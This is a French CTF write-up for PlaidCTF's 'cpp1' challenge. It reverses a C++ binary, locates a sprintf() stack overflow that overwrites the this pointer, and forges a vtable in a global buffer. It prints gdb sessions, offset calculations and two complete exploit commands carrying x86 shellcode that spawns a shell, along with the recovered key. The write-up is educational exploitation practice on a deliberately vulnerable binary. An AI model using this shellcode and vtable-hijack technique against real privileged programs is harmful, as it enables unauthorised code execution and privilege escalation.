Plaid Parliament of Pawning CTF: CPP1 in pwnables
Bonjour,
Ce week-end s’est déroulé le PPP CTF, je n’ai hélas pas pu y consacrer énormément de temps :(.
J’ai quand même pu toucher à quelques épreuves sympas dont un overflow sur un programme écrit en C++.
Nous avions affaire à un programme vulnérable à un overflow dû à l’usage de sprintf() et nous devions crafter une vtable afin de rediriger le flux d’exécution comme il fallait.
Tout d’abord on va reverser le programme.
Reversing for the better good?
La première routine dans main() est le check du nombre d’arguments.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
.text:080487C9 ; =============== S U B R O U T I N E =======================================
.text:080487C9
.text:080487C9 ; Attributes: noreturn
.text:080487C9
.text:080487C9 main proc near ; DATA XREF: start+17 o
.text:080487C9
.text:080487C9 nptr = dword ptr -30h
.text:080487C9 value = dword ptr -2Ch
.text:080487C9 str = dword ptr -28h
.text:080487C9 arg_0 = byte ptr 4
.text:080487C9
.text:080487C9 lea ecx, [esp+arg_0]
.text:080487CD and esp, 0FFFFFFF0h
.text:080487D0 push dword ptr [ecx-4]
.text:080487D3 push ebp
.text:080487D4 mov ebp, esp
.text:080487D6 push ecx
.text:080487D7 sub esp, 24h
.text:080487DA mov [ebp-18h], ecx
.text:080487DD mov eax, [ebp-18h]
.text:080487E0 cmp dword ptr [eax], 2
.text:080487E3 jg short loc_80487F5
.text:080487E5 mov edx, [ebp-18h]
.text:080487E8 mov eax, [edx+4]
.text:080487EB mov eax, [eax]
.text:080487ED mov [esp+30h+nptr], eax
.text:080487F0 call usage
Nous avons ensuite un appel vers une fonction qui prend le pointeur this en paramètre.
1
2
3
4
5
6
.text:080487F5 ; ---------------------------------------------------------------------------
.text:080487F5
.text:080487F5 loc_80487F5: ; CODE XREF: main+1A j
.text:080487F5 lea eax, [ebp-0Ch]
.text:080487F8 mov [esp+30h+nptr], eax
.text:080487FB call set_string_wrapper
Cette fonction va initialiser un pointeur de méthode dans l’objet en utilisant le pointeur this passé en paramètre.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.text:08048846 ; =============== S U B R O U T I N E =======================================
.text:08048846
.text:08048846 ; Attributes: bp-based frame
.text:08048846
.text:08048846 set_string_wrapper proc near ; CODE XREF: main+32 p
.text:08048846
.text:08048846 arg_0 = dword ptr 8
.text:08048846
.text:08048846 push ebp
.text:08048847 mov ebp, esp
.text:08048849 mov eax, [ebp+arg_0]
.text:0804884C mov dword ptr [eax], offset offset_show_string
.text:08048852 pop ebp
.text:08048853 retn
.text:08048853 set_string_wrapper endp
Cette pointeur pointe vers l’addresse 0x08048B20 où se trouve l’addresse d’une fonction d’affichage.
1
.rodata:08048B20 offset_show_string dd offset show_string ; DATA XREF: set_string_wrapper+6
La fonction d’affichage est un simple wrapper pour printf() et prend une chaîne de caractère en paramètre (aucun intérêt à mon goût).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.text:08048854 ; =============== S U B R O U T I N E =======================================
.text:08048854
.text:08048854 ; Attributes: bp-based frame
.text:08048854
.text:08048854 show_string proc near ; DATA XREF: .rodata:offset_show_string o
.text:08048854
.text:08048854 str = dword ptr 0Ch
.text:08048854
.text:08048854 push ebp
.text:08048855 mov ebp, esp
.text:08048857 sub esp, 8
.text:0804885A mov eax, [ebp+str]
.text:0804885D mov [esp+4], eax
.text:08048861 mov dword ptr [esp], offset aS ; "%s"
.text:08048868 call _printf
.text:0804886D leave
.text:0804886E retn
.text:0804886E show_string endp
Au final, set_string_wrapper() va faire la chose suivante:
1
2
this->ptr = 0x08048B20
*0x08048B20 = show_string
ce qui donne donc:
1
this->ptr->show_string().
Maintenant revenons à la suite de notre fonction main(). Celle-ci va ensuite faire un appel à atoi() pour convertir le argv[2] en entier pour ensuite appeler vuln() en passant argv[2] et argv[1].
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
.text:08048800 mov edx, [ebp-18h]
.text:08048803 mov eax, [edx+4]
.text:08048806 add eax, 8
.text:08048809 mov eax, [eax]
.text:0804880B mov [esp+30h+nptr], eax ; nptr
.text:0804880E call _atoi
.text:08048813 mov [ebp-8], eax
.text:08048816 mov edx, [ebp-18h]
.text:08048819 mov eax, [edx+4]
.text:0804881C add eax, 4
.text:0804881F mov eax, [eax]
.text:08048821 mov [esp+30h+str], eax
.text:08048825 mov eax, [ebp-8]
.text:08048828 mov [esp+30h+value], eax
.text:0804882C lea eax, [ebp-0Ch]
.text:0804882F mov [esp+30h+nptr], eax
.text:08048832 call vuln
.text:08048832 main endp
.text:08048832
.text:08048837 ; ---------------------------------------------------------------------------
.text:08048837 mov eax, 0
.text:0804883C add esp, 24h
.text:0804883F pop ecx
.text:08048840 pop ebp
.text:08048841 lea esp, [ecx-4]
.text:08048844 retn
Ca nous donne donc:
1
vuln(this, atoi(argv[2]), argv[1]);
Regardons ce qui se passe dans vuln(). On repère 2 fonction intéressantes: sprintf() et memcpy() qui peuvent être susceptible à des overflows si des arguments sont controlés.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
.text:0804896C ; =============== S U B R O U T I N E =======================================
.text:0804896C
.text:0804896C ; Attributes: noreturn bp-based frame
.text:0804896C
.text:0804896C vuln proc near ; CODE XREF: main+69 p
.text:0804896C
.text:0804896C buf = byte ptr -32h
.text:0804896C this = dword ptr 8
.text:0804896C value = dword ptr 0Ch
.text:0804896C str = dword ptr 10h
.text:0804896C
.text:0804896C push ebp
.text:0804896D mov ebp, esp
.text:0804896F sub esp, 58h
.text:08048972 mov eax, [ebp+value]
.text:08048975 mov [esp+0Ch], eax
.text:08048979 mov eax, [ebp+str]
.text:0804897C mov [esp+8], eax
.text:08048980 mov dword ptr [esp+4], offset aUploading___SD ; "Uploading... [%s]: %d pts\n"
.text:08048988 lea eax, [ebp+buf]
.text:0804898B mov [esp], eax ; s
.text:0804898E call _sprintf
.text:08048993 mov dword ptr [esp+8], 32h ; n
.text:0804899B lea eax, [ebp+buf]
.text:0804899E mov [esp+4], eax ; buf
.text:080489A2 mov dword ptr [esp], offset s ; dest
.text:080489A9 call _memcpy
.text:080489AE mov eax, [ebp+this]
.text:080489B1 mov eax, [eax]
.text:080489B3 mov edx, [eax]
.text:080489B5 mov dword ptr [esp+4], offset s
.text:080489BD mov eax, [ebp+this]
.text:080489C0 mov [esp], eax
.text:080489C3 call edx
.text:080489C5 mov eax, [ebp+this]
.text:080489C8 mov [esp], eax
.text:080489CB call send_points
.text:080489CB vuln endp
.text:080489CB
.text:080489D0 ; ---------------------------------------------------------------------------
.text:080489D0 leave
.text:080489D1 retn
On a les choses suivantes:
1
2
3
4
sprintf(buf, "Uploading... [%s]: %d pts\n", argv[1], atoi(argv[2]));
memcpy(s, buf, 50);
this->ptr->fct(s); // avec fct normalement égal à l'adresse de show_string()
send_points(this);
On a les variables suivantes:
1
2
buf = buffer local de 50 octets
s = buffer global
Donc la vulnérabilitée se trouve au niveau du sprintf() qui overflow sur une partie de la stack et qui permet donc de re-écrire en autre this. On va re-écrire this et pouvoir se crafter une vtable dans le buffer global, ça permet de bypasser l’ASLR sans souci.
Je parle bien entendu de cette partie:
1
2
3
4
5
.text:080489AE mov eax, [ebp+this]
.text:080489B1 mov eax, [eax]
.text:080489B3 mov edx, [eax]
[...]
.text:080489C3 call edx
Exploitation in progress …
On va chercher à connaître l’offset après lequel on re-écrit this.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
$ ssh cpp1_135@a5.amalgamated.biz
cpp1_135@a5.amalgamated.biz's password:
Linux a5 2.6.32-5-686-bigmem #1 SMP Tue Mar 8 22:14:55 UTC 2011 i686
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Apr 25 08:44:32 2011 from XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
cpp1_135@a5:~$ ls='ls --color -lash'
cpp1_135@a5:~$ cd /opt/pctf/cpp1/
cpp1_135@a5:/opt/pctf/cpp1$ ls
total 20K
4.0K drwxr-x--- 2 root cpp1users 4.0K Apr 20 20:48 .
4.0K drwxr-xr-x 9 root root 4.0K Apr 21 12:24 ..
8.0K -rwxr-sr-x 1 root cpp1key 4.9K Apr 20 20:44 first_cpp
4.0K -rw-r----- 1 root cpp1key 27 Apr 15 19:35 key
cpp1_135@a5:/opt/pctf/cpp1$ gdb -q ./first_cpp
Reading symbols from /opt/pctf/cpp1/first_cpp...(no debugging symbols found)...done.
(gdb) r `printf "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9"` 10
Starting program: /opt/pctf/cpp1/first_cpp `printf "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9"` 10
Program received signal SIGSEGV, Segmentation fault.
0x080489b1 in ?? ()
(gdb) i r
eax 0x35624134 895631668
ecx 0x0 0
edx 0x0 0
ebx 0xb775eff4 -1217007628
esp 0xbfed57f0 0xbfed57f0
ebp 0xbfed5848 0xbfed5848
esi 0x0 0
edi 0x0 0
eip 0x80489b1 0x80489b1
eflags 0x210207 [ CF PF IF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x/10i $eip
0x80489b1: mov (%eax),%eax
0x80489b3: mov (%eax),%edx
0x80489b5: movl $0x8049dc0,0x4(%esp)
0x80489bd: mov 0x8(%ebp),%eax
0x80489c0: mov %eax,(%esp)
0x80489c3: call *%edx
0x80489c5: mov 0x8(%ebp),%eax
0x80489c8: mov %eax,(%esp)
0x80489cb: call 0x8048870
0x80489d0: leave
(gdb)
this pointant vers une valeur invalide, on trigger notre segfault :).
Avec le pattern on obtient vite l’offset:
1
2
~/repos/msf3$ tools/pattern_offset.rb `printf "\x34\x41\x62\x35"`
44
On doit d’abord faire de petits calculs d’offset pour savoir où se trouve notre chaîne:
1
2
3
4
5
6
0x08049DC0 => addresse du buffer global contenant notre chaîne entière
// addresse de la string qu'on soumet à l'application
// strlen("Uploading...") == 14
0x08049DC0 + 14 = 0x08049DCE
// addresse où se trouve notre this
0x08049DCE + 44 = 0x08049DFA
On va maintenant pouvoir pawn le challenge comme il faut, pour celà, je vais vous montrer 2 patterns d’attaques j’ai utilisé pour ce faire.
On a this->ptr->fct(), et on contrôle this (et donc les autres pointeurs). On peut exploiter le challenge en utilisant le code suivante:
1
2
3
4
5
6
[jump code (7 bytes)] [ ptr (4bytes) ] [ fct ptr (4 bytes) ] [ junk (29 bytes) ] [ this (4bytes) ] [ payload ]
<--------------------------------------------------------------------------------><----------------><--------->
44 bytes | 4 bytes | ?
this = 0x08049dd5 = address de ptr
ptr = 0x08049dd9
fct = 0x08049dce
Je vais utiliser la payload suivante (bash -p):
1
"\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"
1
./first_cpp `python -c 'print "\x89\xe0\x83\xc0\x78\xff\xe0" + "\xd9\x9d\x04\x08" + "\xce\x9d\x04\x08" + "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa" + "\xd5\x9d\x04\x08" + "\x90" * 128 + "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"'` 10
Le jump code est le suivant:
1
2
3
4
5
BITS 32
mov eax, esp
add eax, 120
jmp eax
Avec ce pattern on saute sur la stack pour exécuter notre code.
Je voulais un pattern un peu plus propre n’ayant pas à overflow trop la stack. Pattern plus propre permettant d’avoir tout dans le buffer global:
1
2
3
4
[ ptr (4bytes) ] [ fct ptr (4 bytes) ] [ payload1 (23 bytes ] [ junk (5 bytes)]
this = 0x08049dce = address of ptr
ptr = 0x08049dd2
fct = 0x08049dd6
En vrai en stack on a la chose suivante:
1
2
3
4
[ ptr (4bytes) ] [ fct ptr (4 bytes) ] [ payload1 (23 bytes ] [ junk (13 bytes)] [ this (4bytes) ] [ payload2 ]
this = 0x08049dce = address of ptr
ptr = 0x08049dd2
fct = 0x08049dd6
1
2
3
$ ./first_cpp `python -c 'print "\xd2\x9d\x04\x08" + "\xd6\x9d\x04\x08" + "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" + "\x90" * 13 + "\xce\x9d\x04\x08"'` 10
$ cat key
Virtual_function_is_Virtue
Dans le buffer global on a ainsi l’équivalent suivant:
1
global_buffer = "Uploading..." + "\xd2\x9d\x04\x08" + "\xd6\x9d\x04\x08" + "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" + "\x90" * 5
Et voilà, pawned,
Conclusion
On a pu voir que la mauvaise utilisation de fonctions dangereuses et l’utilisation de variables globales peut rendre une exploitation de vtable et vptr plutôt possible :).
J’espère que ça vous a plu :),
m_101